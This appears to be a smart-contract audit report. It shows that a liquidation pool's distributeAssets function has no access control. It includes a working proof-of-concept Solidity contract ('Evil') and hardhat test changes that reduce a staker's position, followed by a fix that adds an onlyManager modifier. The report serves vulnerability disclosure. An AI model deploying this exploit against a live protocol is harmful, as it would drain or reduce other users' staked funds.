Summary
Anyone can decrease stake holders' positions without increasing their rewards
Vulnerability Details
In order to see the vulnerability, create an evil contract as shown below and place it in the contracts/ folder.
Filename
Evil.sol
Content
pragma solidity ^0.8.17;
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol" as Chainlink;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "contracts/interfaces/IEUROs.sol";
import "contracts/interfaces/ILiquidationPool.sol";
import "contracts/interfaces/ILiquidationPoolManager.sol";
import "contracts/interfaces/ISmartVaultManager.sol";
import "contracts/interfaces/ITokenManager.sol";
import "hardhat/console.sol";
interface ILiquidationPoolEvil {
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
}
contract Evil {
ILiquidationPoolManager.Asset asset;
ILiquidationPoolManager.Asset asset2;
ILiquidationPoolManager.Asset[] assets;
address lp;
constructor(address liquidationPool) {
lp = liquidationPool;
}
function doEvil() external {
asset = ILiquidationPoolManager.Asset({
token: ITokenManager.Token({
symbol: bytes32(abi.encode("ETH")),
addr: address(0),
dec: 18,
clAddr: 0x0165878A594ca255338adfa4d48449f69242Eb8F,
clDec: 8
}),
amount: 123400000000000000
});
assets.push(asset);
ILiquidationPoolEvil(lp).distributeAssets(assets,120000,100000);
}
}
Now, you have to deploy it as follows:
Step 1:
In your tests/liquidationPool.js, create a variable called Evil
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
- ERC20MockFactory, TST, EUROs;
+ ERC20MockFactory, TST, EUROs, Evil;
Now, at the end of beforeEach function, wait for it to get deployed and pass in the address of LiquidationPool contract as shown
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
+ Evil = await (await ethers.getContractFactory('Evil')).deploy(LiquidationPool.address);
+ await Evil.deployed();
Now, let's focus our attention on the claim rewards test suite. Inside the test suite, make the following changes
Step 2
Print the position before runLiquidation is called
await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
await fastForward(DAY);
+let { _position: p1 } = await LiquidationPool.position(user1.address);
+console.log("position before runLiquidation")
+console.log(p1);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
Step 3
Print the position after running liquidation but before running Evil contract's doEvil function
Print the position after the doEvil function is run
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
+let { _position: p2 } = await LiquidationPool.position(user1.address);
+console.log("before evil")
+console.log(p2);
+let evil = Evil.doEvil();
+await evil;
+let { _position: p3 } = await LiquidationPool.position(user1.address);
+console.log("after evil")
+console.log(p3);
expect(await ethers.provider.getBalance(LiquidationPool.address)).to.equal(ethCollateral);
expect(await WBTC.balanceOf(LiquidationPool.address)).to.equal(wbtcCollateral)
expect(await USDC.balanceOf(LiquidationPool.address)).to.equal(usdcCollateral)
let { _rewards } = await LiquidationPool.position(user1.address);
expect(_rewards).to.have.length(3);
expect(rewardAmountForAsset(_rewards, 'ETH')).to.equal(ethCollateral);
expect(rewardAmountForAsset(_rewards, 'WBTC')).to.equal(wbtcCollateral);
expect(rewardAmountForAsset(_rewards, 'USDC')).to.equal(usdcCollateral);
You will find that position p3 has less euros than position p2 and this was possible because of the doEvil
Impact
The stake holders position goes down without their volition and it looks bad.
Tools Used
Intense staring at the code base
Recommendations
Open file LiquidationPool.sol then make the following change
Attach a modifer that only allows LiquidationPoolManager to call this function
-function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
+function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {